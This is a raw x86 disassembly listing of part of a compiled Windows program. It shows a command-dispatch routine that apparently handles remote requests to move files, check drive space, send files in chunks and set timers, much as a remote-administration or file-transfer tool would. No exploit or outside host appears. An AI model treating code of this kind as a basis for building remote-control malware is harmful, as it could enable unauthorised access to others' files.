mov dl, 1
mov eax, dword [0x46a810]
call fcn.0046aa98
mov dword [ebp - 0xd0], eax
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4edff4
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4ee240
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4ee878
mov eax, dword [ebp - 0xd0]
add eax, 0x40
mov edx, dword [ebp - 0x3c]
call fcn.0040460c
mov eax, dword [ebp - 0xd0]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd0]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4e5c18
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd0]
call fcn.0046ab4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e5c1f
mov eax, dword [ebp - 0xd0]
call fcn.004037ac
ret
inc dword [ebp - 0x50]
dec dword [ebp - 0x110]
jne 0x4e5b22
cmp dword [0x540b68], 0
je 0x4e5c5d
mov eax, 0x540b68
call fcn.004045b8
mov al, byte [0x54a914]
call fcn.004b0e88
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4e0bea.10
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
mov byte [0x540b74], 0
ret
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov dword [ebp - 0x9c], eax
lea edx, [ebp - 0xa64]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xa64]
mov eax, dword [ebp - 0x9c]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0xa0]
xor edx, edx
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x3c]
mov edx, 1
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea ecx, [ebp - 0x40]
mov edx, 2
mov eax, dword [ebp - 0x9c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0xa0]
call fcn.004db6bc
mov eax, dword [ebp - 0xa0]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x54a914], al
mov eax, dword [ebp - 0xa0]
cmp byte [eax + 1], 0x3a
jne 0x4e5db3
mov al, byte [0x54a914]
call fcn.0046b9d8
test al, al
je 0x4e5db3
mov al, byte [0x54a914]
call fcn.004b0b08
test eax, eax
jne 0x4e5db3
lea edx, [ebp - 0xa68]
mov al, byte [0x54a914]
call fcn.004b0d04
mov edx, dword [ebp - 0xa68]
mov eax, 0x540b68
call fcn.0040460c
lea eax, [ebp - 0xa6c]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [ebp - 0xa0]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa6c]
lea eax, [ebp - 0xa0]
mov edx, dword [0x540b68]
call fcn.004048d8
jmp 0x4e5dbd
mov eax, 0x540b68
call fcn.004045b8
lea eax, [ebp - 0xa70]
mov ecx, dword [ebp - 0x40]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa70]
call fcn.00404a84
push eax
lea eax, [ebp - 0xa74]
mov ecx, dword [ebp - 0x3c]
mov edx, dword [ebp - 0xa0]
call fcn.004048d8
mov eax, dword [ebp - 0xa74]
call fcn.00404a84
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb ebx, ebx
inc ebx
cmp dword [0x540b68], 0
je 0x4e5e25
mov eax, 0x540b68
call fcn.004045b8
mov al, byte [0x54a914]
call fcn.004b0e88
mov eax, dword [ebp - 0x9c]
call fcn.004037ac
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, bl
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
lea edx, [ebp - 0xa78]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xa78]
mov eax, 0x54a900
call fcn.0040460c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a904], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a910], eax
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x18]
and al, 0xff
mov byte [0x54a90c], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x18]
and eax, 0x300
mov dword [0x54a908], eax
mov eax, 0x54a900
call fcn.004db6bc
cmp dword [0x54a820], 0
je 0x4e5ee8
lea edx, [ebp - 0xa7c]
mov eax, dword [0x54a900]
call fcn.00408e1c
mov edx, dword [ebp - 0xa7c]
mov eax, dword [0x54a820]
call fcn.00404bc8
dec eax
jne 0x4e5ee8
mov byte [0x54a914], 1
jmp 0x4e5f0d
mov eax, dword [0x54a900]
cmp byte [eax + 1], 0x3a
jne 0x4e5f06
mov eax, dword [0x54a900]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x54a914], al
jmp 0x4e5f0d
mov byte [0x54a914], 0
cmp byte [0x54a914], 0x41
jb 0x4e5f77
mov al, byte [0x54a914]
call fcn.004b0b08
test eax, eax
jne 0x4e5f77
lea edx, [ebp - 0xa80]
mov al, byte [0x54a914]
call fcn.004b0d04
mov edx, dword [ebp - 0xa80]
mov eax, 0x540b68
call fcn.0040460c
lea eax, [ebp - 0xa84]
push eax
mov ecx, 0x400
mov edx, 3
mov eax, dword [0x54a900]
call fcn.00404ae4
mov ecx, dword [ebp - 0xa84]
mov eax, 0x54a900
mov edx, dword [0x540b68]
call fcn.004048d8
jmp 0x4e5f81
mov eax, 0x540b68
call fcn.004045b8
mov eax, dword [0x54a900]
call fcn.0040488c
cmp eax, 3
jle case.0x4e0bea.10
mov eax, dword [0x54a900]
call fcn.00462ebc
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov al, byte [eax + 0x10]
mov byte [0x54a920], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a91c], eax
mov eax, dword [ebp - 0x2c]
lea ebx, [eax + 0x20]
mov eax, dword [ebx + 4]
mov dword [0x54a928], eax
mov eax, dword [ebx + 8]
mov dword [0x54a92c], eax
mov eax, dword [ebx]
mov dword [0x54a924], eax
mov eax, dword [ebx + 0xc]
mov dword [0x54a930], eax
cmp byte [0x54a914], 1
jne 0x4e6018
mov eax, dword [0x54a820]
call fcn.00471d50
sub eax, dword [0x54a928]
sbb edx, dword [0x54a92c]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e610d
cmp dword [0x540b68], 0
je 0x4e60c1
cmp dword [0x54a92c], 0
jne 0x4e603c
cmp dword [0x54a928], 0x6400000
jae 0x4e6081
jmp 0x4e603e
jge 0x4e6081
mov al, byte [0x54a914]
call fcn.004b0ff8
push edx
push eax
push 0
push 3
mov eax, dword [0x54a928]
mov edx, dword [0x54a92c]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x12c00000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e610d
mov al, byte [0x54a914]
call fcn.004b0ff8
push edx
push eax
push 0
push 2
mov eax, dword [0x54a928]
mov edx, dword [0x54a92c]
call fcn.00405944
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
sub eax, 0x1f400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e610d
cmp byte [0x54a914], 0x41
jb 0x4e60f9
mov al, byte [0x54a914]
sub al, 0x41
inc eax
call fcn.00409ca4
sub eax, dword [0x54a928]
sbb edx, dword [0x54a92c]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4e610d
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4e6121
cmp dword [ebp - 0xa8], 0
jae 0x4e614c
jmp 0x4e6123
jge 0x4e614c
xor eax, eax
mov dword [0x540b88], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x54a91c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
mov al, byte [0x54a920]
sub al, 2
jb 0x4e615c
je 0x4e6191
jmp case.0x4e0bea.10
mov byte [0x54a934], 0
mov dl, 1
mov eax, dword [0x47089c]
call fcn.0040377c
mov dword [0x540b88], eax
mov dl, 1
mov eax, dword [0x4145dc]
call fcn.0040377c
mov dword [0x54a93c], eax
xor eax, eax
mov dword [0x54a938], eax
jmp case.0x4e0bea.10
mov byte [0x54a934], 0
lea eax, [ebp - 0xa88]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.00404820
mov ecx, dword [ebp - 0xa88]
mov eax, 0x54a918
mov edx, dword [0x54a900]
call fcn.004048d8
mov eax, dword [0x54a918]
call fcn.004f929c
lea eax, [ebp - 0xa8c]
mov edx, dword [0x54a918]
call fcn.00404e90
mov eax, dword [ebp - 0xa8c]
mov dx, 0xffff
call fcn.0046e16c
mov dword [0x540b88], eax
cmp dword [0x540b88], 0
jne 0x4e621f
push 0
push 0
mov eax, dword [0x54a918]
push eax
push 0
push 0
mov ecx, dword [0x54a91c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
xor eax, eax
push ebp
push 0x4e624d
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [0x54a92c]
push dword [0x54a928]
mov eax, dword [0x540b88]
call fcn.00463330
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4e6272
cmp dword [0x540b88], 0
je 0x4e61f9
push 0
push 0
mov eax, dword [0x540b88]
call fcn.004632d0
mov dl, 1
mov eax, dword [0x4145dc]
call fcn.0040377c
mov dword [0x54a93c], eax
xor eax, eax
mov dword [0x54a938], eax
jmp case.0x4e0bea.10
call fcn.004dfcd0
jmp case.0x4e0bea.10
cmp dword [0x5403a8], 0x52503ff
jb case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a644], eax
mov eax, dword [0x54a644]
add eax, 0x5b
cmp eax, dword [0x54a6d8]
jb 0x4e65d5
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a5b8], eax
cmp dword [0x54a5b8], 0
jne 0x4e6301
mov dword [0x54a5b8], 0x64
lea eax, [ebp - 0x104]
call fcn.004045b8
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
lea eax, [ebp - 0x3c]
call fcn.004db6bc
mov edx, dword [ebp - 0x3c]
mov eax, 0x4e83f8
call fcn.00404bc8
test eax, eax
jg 0x4e6348
mov edx, dword [ebp - 0x3c]
mov eax, 0x4e8404
call fcn.00404bc8
test eax, eax
jle 0x4e63f3
lea edx, [ebp - 0x104]
mov eax, dword [ebp - 0x3c]
call fcn.00409b0c
lea edx, [ebp - 0x108]
mov eax, dword [ebp - 0x3c]
call fcn.00409b80
lea eax, [ebp - 0xa90]
mov ecx, 0x4e8410
mov edx, dword [ebp - 0x104]
call fcn.004048d8
mov eax, dword [ebp - 0xa90]
push eax
mov ecx, dword [ebp - 0x108]
mov edx, dword [ebp - 0x104]
mov eax, dword [ebp - 0x28]
call fcn.004e02dc
test al, al
je 0x4e63d5
lea eax, [ebp - 0xa98]
mov ecx, 0x4e8410
mov edx, dword [ebp - 0x104]
call fcn.004048d8
mov edx, dword [ebp - 0xa98]
lea eax, [ebp - 0xa94]
call fcn.00404e90
mov eax, dword [ebp - 0xa94]
xor edx, edx
call fcn.0046e16c
mov dword [ebp - 0xb0], eax
jmp 0x4e6414
push 0
push 1
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xd0
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp 0x4e6414
lea eax, [ebp - 0xa9c]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xa9c]
xor edx, edx
call fcn.0046e16c
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0
je 0x4e65d5
xor eax, eax
push ebp
push 0x4e65ce
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3c]
call fcn.0046de9c
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0xb0]
call fcn.0046325c
cmp edx, 0
jne 0x4e646e
cmp eax, 0
jne 0x4e646e
push 0
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x50]
mov edx, 0xe5
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp 0x4e6584
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xf3
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x50]
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 0xb0]
call fcn.0046325c
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x18], eax
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
push 0
push 0
mov eax, dword [ebp - 0xb0]
call fcn.004632d0
xor ebx, ebx
mov byte [0x5403c0], 1
mov eax, dword [ebp - 0x2c]
mov dword [eax + 0x14], ebx
inc ebx
mov eax, dword [ebp - 0xb0]
call fcn.0046325c
push edx
push eax
mov eax, dword [ebp - 0xb0]
call fcn.004632ac
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4e64fc
cmp eax, 0x500
jbe 0x4e6505
jmp 0x4e64fe
jle 0x4e6505
mov esi, 0x500
jmp 0x4e651f
mov eax, dword [ebp - 0xb0]
call fcn.0046325c
mov esi, eax
mov eax, dword [ebp - 0xb0]
call fcn.004632ac
sub esi, eax
mov eax, dword [ebp - 0x2c]
lea edx, [eax + 0x20]
mov ecx, esi
mov eax, dword [ebp - 0xb0]
mov edi, dword [eax]
call dword [edi + 8]
add esi, 0x20
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd768
test al, al
je 0x4e6584
test bl, 0xf
jne 0x4e655b
mov eax, dword [0x541b3c]
mov eax, dword [eax]
call fcn.00449374
mov eax, dword [ebp - 0xb0]
call fcn.0046325c
push edx
push eax
mov eax, dword [ebp - 0xb0]
call fcn.004632ac
cmp edx, dword [esp + 4]
jne 0x4e657c
cmp eax, dword [esp]
pop edx
pop eax
jne 0x4e64c6
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4e65ee
mov byte [0x5403c0], 0
mov eax, dword [ebp - 0xb0]
call fcn.004037ac
cmp dword [ebp - 0x104], 0
je 0x4e65cd
lea eax, [ebp - 0xaa0]
mov ecx, 0x4e8410
mov edx, dword [ebp - 0x104]
call fcn.004048d8
mov eax, dword [ebp - 0xaa0]
call fcn.00409988
ret
push 0
push 1
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xd0
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
cmp dword [ebp - 0x104], 0
je case.0x4e0bea.10
lea eax, [ebp - 0xaa4]
mov ecx, 0x4e8410
mov edx, dword [ebp - 0x104]
call fcn.004048d8
mov eax, dword [ebp - 0xaa4]
call fcn.00409988
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a834], eax
push 0
push 0x3e8
push 0
push 0x3c
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
call fcn.00405944
mov dword [0x540a88], eax
mov dword [0x540a8c], edx
cmp dword [0x540a8c], 0
jne 0x4e666c
cmp dword [0x540a88], 0
jbe case.0x4e0bea.10
jmp 0x4e6672
jle case.0x4e0bea.10
mov eax, dword [0x540338]
mov edx, dword [0x54033c]
add eax, dword [0x540a88]
adc edx, dword [0x540a8c]
mov dword [0x540a88], eax
mov dword [0x540a8c], edx
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a834], eax
push 0
push 0x3e8
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cdq
call fcn.00405944
mov dword [0x540a88], eax
mov dword [0x540a8c], edx
cmp dword [0x540a8c], 0
jne 0x4e66dd
cmp dword [0x540a88], 0
jbe case.0x4e0bea.10
jmp 0x4e66e3
jle case.0x4e0bea.10
mov eax, dword [0x540338]
mov edx, dword [0x54033c]
add eax, dword [0x540a88]
adc edx, dword [0x540a8c]
mov dword [0x540a88], eax
mov dword [0x540a8c], edx
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54a67c]
cmp eax, edx
jne case.0x4e0bea.10
mov eax, 0x54a844
mov dl, 1
call fcn.004f8460
test al, al
je case.0x4e0bea.10
mov eax, dword [0x54a844]
call fcn.00404eb0
cmp eax, dword [0x54a848]
jle 0x4e6771
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4e0bea.10
push 0
push 0
push 0
mov ecx, 1
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
mov eax, dword [0x54a844]
call fcn.00404eb0
test eax, eax
jne 0x4e67a9
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 1
jne case.0x4e0bea.10
push 0
push 0
push 0
mov ecx, 2
mov edx, 0xba
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
cmp byte [eax + 0xc], 0xea
jne 0x4e67dc
movzx eax, word [0x54a67c]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x54a844]
mov edx, 0x10
mov eax, dword [ebp - 0x28]
call fcn.004dde60
jmp case.0x4e0bea.10
movzx eax, word [0x54a67c]
push eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
shl eax, 8
push eax
mov ecx, dword [0x54a844]
mov edx, 0xd
mov eax, dword [ebp - 0x28]
call fcn.004dde60
jmp case.0x4e0bea.10
movzx eax, word [0x54a67c]
mov edx, dword [ebp - 0x2c]
cmp eax, dword [edx + 0x10]
jne case.0x4e0bea.10
cmp byte [0x540aa0], 0
je case.0x4e0bea.10
movzx ecx, word [0x54a67c]
mov edx, 0x13
mov eax, dword [0x54a858]
call fcn.004ddfd8
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54a67c]
cmp eax, edx
jne case.0x4e0bea.10
mov eax, dword [0x54a84c]
call fcn.00419764
cmp edx, 0
jne 0x4e6870
cmp eax, 0
jbe case.0x4e0bea.10
jmp 0x4e6876
jle case.0x4e0bea.10
movzx ecx, word [0x54a67c]
mov edx, 0x14
mov eax, dword [0x54a84c]
call fcn.004ddfd8
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
movzx edx, word [0x54a67c]
cmp eax, edx
jne case.0x4e0bea.10
lea edx, [ebp - 0xcc]
mov eax, 0x28
call fcn.004ac210
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 0
jne 0x4e68e2
lea eax, [ebp - 0xaa8]
mov edx, dword [ebp - 0xcc]
call fcn.00404e90
mov eax, dword [ebp - 0xaa8]
mov dl, 1
call fcn.004f84f4
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x14], 2
jne case.0x4e0bea.10
lea eax, [ebp - 0xaac]
mov edx, dword [ebp - 0xcc]
call fcn.00404e90
mov eax, dword [ebp - 0xaac]
mov dl, 1
call fcn.004f8584
jmp case.0x4e0bea.10
lea edx, [ebp - 0xab0]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
mov edx, dword [ebp - 0xab0]
mov eax, 0x54a838
call fcn.0040460c
mov eax, 0x54a838
call fcn.004db6bc
mov dl, 1
mov eax, dword [0x47089c]
call fcn.0040377c
mov ebx, eax
push 0xa
lea eax, [ebp - 0xab4]
mov edx, dword [0x54a838]
call fcn.00404e90
mov eax, dword [ebp - 0xab4]
push eax
push ebx
call fcn.0046dfb8
test al, al
je 0x4e6a2a
xor eax, eax
mov dword [ebp - 0x4c], eax
mov eax, ebx
call fcn.00419764
push edx
push eax
mov eax, ebx
call fcn.00419750
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 0x10], 0
jne 0x4e69a0
lea edx, [ebp - 0x4c]
mov ecx, 1
mov eax, ebx
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, ebx
call fcn.00419764
add eax, 0x20
adc edx, 0
push edx
push eax
mov eax, ebx
call fcn.004197b4
mov eax, ebx
call fcn.00419764
mov ecx, eax
sub ecx, 0x20
mov edx, dword [ebx + 4]
mov eax, dword [ebx + 4]
add eax, 0x20
call fcn.0046bde4
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xf5
mov eax, ebx
call fcn.00419764
mov edx, dword [ebp - 0x2c]
mov dword [edx + 4], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x4c]
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 0x2c]
xor edx, edx
mov dword [eax + 0x1c], edx
mov eax, dword [ebp - 0x2c]
cmp dword [eax + 4], 0x540
jle 0x4e6a1f
mov eax, dword [ebp - 0x2c]
call fcn.004eda04
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd768
mov eax, ebx
call fcn.004037ac
jmp case.0x4e0bea.10
mov dl, 1
mov eax, dword [0x414c40]
call fcn.0040377c
mov esi, eax
mov eax, esi
call fcn.004b55c0
lea edx, [ebp - 0xe4]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push 0
push 0
mov eax, dword [ebp - 0xe4]
call fcn.00404a84
push eax
xor ecx, ecx
mov edx, 0xc8
mov eax, dword [ebp - 0x28]
call fcn.004ddc88
mov eax, esi
call fcn.004037ac
jmp case.0x4e0bea.10
cmp dword [0x540b88], 0
jne 0x4e6acd
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54a940]
jne case.0x4e0bea.10
cmp byte [0x54a934], 0
je case.0x4e0bea.10
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x54a940]
mov edx, 0xc4
mov eax, dword [ebp - 0x28]
call fcn.004ddaec
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
cmp eax, dword [0x54a91c]
jne case.0x4e0bea.10
push 0
push 0x400
mov eax, dword [0x54a928]
mov edx, dword [0x54a92c]
add eax, 0x3ff
adc edx, 0
call fcn.00405968
mov dword [ebp - 0xd4], eax
mov eax, dword [0x54a938]
cmp eax, dword [ebp - 0xd4]
jae 0x4e6b35
mov edx, dword [0x54a938]
mov eax, dword [0x54a93c]
call fcn.00416d9c
inc dword [0x54a938]
mov eax, dword [0x54a938]
cmp eax, dword [ebp - 0xd4]
jb 0x4e6b12
lea eax, [ebp - 0x7a0]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
lea esi, [eax + 0x20]
mov eax, dword [0x54a93c]
mov ebx, dword [eax + 8]
dec ebx
xor eax, eax
mov dword [ebp - 0x50], eax
test ebx, ebx
jl 0x4e6b74
mov edx, ebx
mov eax, dword [0x54a93c]
call fcn.00416ef8
mov dword [esi], eax
add esi, 4
dec ebx
inc dword [ebp - 0x50]
cmp dword [ebp - 0x50], 0x140
jne 0x4e6b52
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xd], 0xc
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xc], 0xfe
mov eax, dword [ebp - 0x2c]
mov byte [eax + 0xe], 0
sub esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov dword [eax + 4], esi
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 4]
sub eax, 0x20
test eax, eax
jns 0x4e6ba2
add eax, 3
sar eax, 2
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x10], eax
mov eax, dword [ebp - 0x2c]
mov edx, dword [0x54a91c]
mov dword [eax + 0x14], edx
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x28]
call fcn.004dd768
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x540a90], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x540a94], eax
jmp case.0x4e0bea.10
lea edx, [ebp - 0x3c]
mov eax, dword [ebp - 0x2c]
add eax, 0x20
call fcn.00409fe8
lea eax, [ebp - 0x3c]
call fcn.004db6bc
mov eax, dword [ebp - 0x3c]
call fcn.0046dddc
test al, al
je case.0x4e0bea.10
mov byte [ebp - 0xc1], 0
lea eax, [ebp - 0xab8]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xab8]
lea ecx, [ebp - 0xb4]
lea edx, [ebp - 0xc0]
call fcn.0046eb78
lea edx, [ebp - 0xbc]
mov eax, 1
call fcn.004ab980
mov al, byte [0x4e8418]
push eax
lea eax, [ebp - 0xb8]
push eax
lea edx, [ebp - 0xac0]
mov eax, dword [0x541f14]
mov eax, dword [eax]
call fcn.00409b80
mov edx, dword [ebp - 0xac0]
lea eax, [ebp - 0xabc]
call fcn.00404e90
mov eax, dword [ebp - 0xabc]
push eax
lea eax, [ebp - 0xac4]
mov edx, dword [ebp - 0xbc]
call fcn.00404e90
mov edx, dword [ebp - 0xac4]
mov eax, dword [ebp - 0xb4]
pop ecx
call fcn.00472394
mov eax, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xb4]
call fcn.00404fc8
je case.0x4e0bea.10
lea eax, [ebp - 0xac8]
mov edx, dword [ebp - 0x3c]
call fcn.00404e90
mov eax, dword [ebp - 0xac8]
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xc0]
call fcn.0046ec54
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x314]
call fcn.0047cc48
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004efcd0
mov byte [0x5403e4], 1
call fcn.004dff10
xor edx, edx
mov eax, 4
call fcn.004dff30
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a5a8], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a5ac], eax
mov eax, dword [0x54a5a8]
cdq
push edx
push eax
lea eax, [ebp - 0xacc]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xacc]
mov edx, 0x4e8424
call fcn.0046d9ec
mov eax, dword [0x54a5ac]
cdq
push edx
push eax
lea eax, [ebp - 0xad0]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xad0]
mov edx, 0x4e8438
call fcn.0046d9ec
jmp case.0x4e0bea.10
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x10]
mov dword [0x54a5b0], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0x14]
mov dword [0x54a5b4], eax
mov eax, dword [0x54a5b0]
cdq
push edx
push eax
lea eax, [ebp - 0xad4]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xad4]
mov edx, 0x4e844c
call fcn.0046d9ec
mov eax, dword [0x54a5b4]
cdq
push edx
push eax
lea eax, [ebp - 0xad8]
mov edx, dword [0x5418e8]
mov edx, dword [edx]
call fcn.00404e90
mov eax, dword [ebp - 0xad8]
mov edx, 0x4e8460
call fcn.0046d9ec
jmp case.0x4e0bea.10
mov al, byte [0x4e82b0]
push eax
lea eax, [ebp - 0xe4]
push eax
lea eax, [ebp - 0xadc]
mov edx, dword [ebp - 0x2c]
add edx, 0x20
mov ecx, 0x400
call fcn.00404820
mov eax, dword [ebp - 0xadc]
mov ecx, 0x4e8474
mov edx, 0x4e8480
call fcn.0040da60
lea eax, [ebp - 0xe4]
call fcn.00404adc
mov dword [ebp - 0xf8], eax
lea edx, [ebp - 0xe8]
lea eax, [ebp - 0xf8]
